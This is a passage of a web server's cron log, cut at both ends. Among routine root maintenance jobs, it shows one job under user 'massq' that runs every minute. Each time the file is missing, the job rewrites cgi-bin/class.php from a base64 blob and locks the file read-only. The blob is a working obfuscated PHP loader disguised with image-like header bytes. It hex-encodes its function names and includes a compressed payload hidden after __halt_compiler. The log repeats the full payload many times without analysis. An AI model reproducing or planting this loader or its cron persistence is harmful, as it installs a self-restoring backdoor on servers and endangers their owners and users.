g2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:47:02 server CROND[24596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:48:01 server CROND[24659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:49:01 server CROND[24820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:50:01 server CROND[24887]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 22:50:01 server CROND[24888]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 22:50:01 server CROND[24889]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 22:50:01 server CROND[24892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:50:01 server CROND[24891]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 22:51:01 server CROND[25014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:52:01 server CROND[25085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:53:01 server CROND[25146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:54:01 server CROND[25308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:55:01 server CROND[25365]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 22:55:01 server CROND[25366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 22:55:01 server CROND[25367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:56:01 server CROND[25487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:57:01 server CROND[25565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:57:01 server CROND[25566]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 22:58:01 server CROND[25640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:59:01 server CROND[25696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:00:01 server CROND[25808]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 23:00:01 server CROND[25810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 23:00:01 server CROND[25811]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 23:00:01 server CROND[25812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 